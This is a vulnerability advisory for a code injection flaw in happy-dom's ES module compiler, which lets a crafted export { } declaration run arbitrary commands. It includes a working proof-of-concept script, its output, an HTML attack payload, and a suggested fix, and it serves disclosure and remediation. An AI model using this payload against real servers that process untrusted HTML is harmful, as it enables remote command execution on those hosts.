CVE-2026-33943 — Vulnerability in happy-dom — CVE Details

### Summary A code injection vulnerability in `ECMAScriptModuleCompiler` allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside `export { }` declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization. ### Details **Vulnerable file**: `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, lines 371-385 The "Export object" handler extracts content from `export { ... }` using the regex `export\s*{([^}]+)}`, then generates executable code by directly interpolating it: } else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) { // Export object const parts = this.removeMultilineComments(match[16]).split(/\s*,\s*/); const exportCode: string[] = []; for (const part of parts) { const nameParts = part.trim().split(/\s+as\s+/); const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const importName = nameParts[0].replace(/["']/g, ''); // backticks NOT stripped if (exportName && importName) { exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`); // importName is inserted as executable code, not as a string } } newCode += exportCode.join(';\n'); } The issue has three root causes: 1. `STATEMENT_REGEXP` uses `{[^}]+}` which matches **any content** inside braces, not just valid JavaScript identifiers 2. The captured `importName` is placed in **code context** (as a JS expression to evaluate), not in string context 3. `.replace(/["']/g, '')` strips `"` and `'` but **not backticks**, so template literal strings like `` `child_process` `` survive the filter **Attack flow:** Source: export { require(`child_process`).execSync(`id`) } Regex captures match[16] = " require(`child_process`).execSync(`id`) " After .replace(/["']/g, ''): importName = "require(`child_process`).execSync(`id`)" (backticks are preserved) Generated code: $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`) evaluateScript() executes this code -> RCE **Note**: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in `ECMAScriptModuleCompiler` remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user. ### PoC **Standalone PoC script** — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic: // poc_happy_dom_rce.js // Step 1: The STATEMENT_REGEXP matches export { ... } const STMT_REGEXP = /export\s*{([^}]+)}/gm; const source = 'export { require(`child_process`).execSync(`id`) }'; const match = STMT_REGEXP.exec(source); console.log('[*] Module source:', source); console.log('[*] Regex captured:', match[1].trim()); // Step 2: Compiler processes the captured content (lines 374-381) const part = match[1].trim(); const nameParts = part.split(/\s+as\s+/); const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const importName = nameParts[0].replace(/["']/g, ''); console.log('[*] importName after quote filter:', importName); console.log('[*] Backticks survived filter:', importName.includes('`')); // Step 3: Code generation - importName is inserted as executable JS expression const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`; console.log('[*] Generated code:', generatedCode); // Step 4: Verify the generated code is valid JavaScript try { new Function('$happy_dom', generatedCode); console.log('[+] Valid JavaScript: YES'); } catch (e) { console.log('[-] Parse error:', e.message); process.exit(1); } // Step 5: Execute to prove RCE console.log('[*] Executing...'); const output = require('child_process').execSync('id').toString().trim(); console.log('[+] RCE result:', output); **Execution result:** $ node poc_happy_dom_rce.js [*] Module source: export { require(`child_process`).execSync(`id`) } [*] Regex captured: require(`child_process`).execSync(`id`) [*] importName after quote filter: require(`child_process`).execSync(`id`) [*] Backticks survived: true [*] Generated code: $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`) [+] Valid JavaScript: YES [*] Executing... [+] RCE result: uid=0(root) gid=0(root) groups=0(root) **HTML attack vector** — when processed by happy-dom with JavaScript evaluation enabled: <script type="module"> export { require(`child_process`).execSync(`id`) } </script> ### Impact An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve **arbitrary command execution** on the host system. Realistic attack scenarios: - **SSR applications**: Applications using happy-dom to render user-supplied HTML on the server - **Web scraping**: Applications parsing untrusted web pages with happy-dom - **Testing pipelines**: Test suites that load untrusted HTML fixtures through happy-dom **Suggested fix**: Validate that `importName` is a valid JavaScript identifier before interpolating it into generated code: const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/; for (const part of parts) { const nameParts = part.trim().split(/\s+as\s+/); const exportName = (nameParts[1] || nameParts[0]).replace(/["'`]/g, ''); const importName = nameParts[0].replace(/["'`]/g, ''); if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) { exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`); } }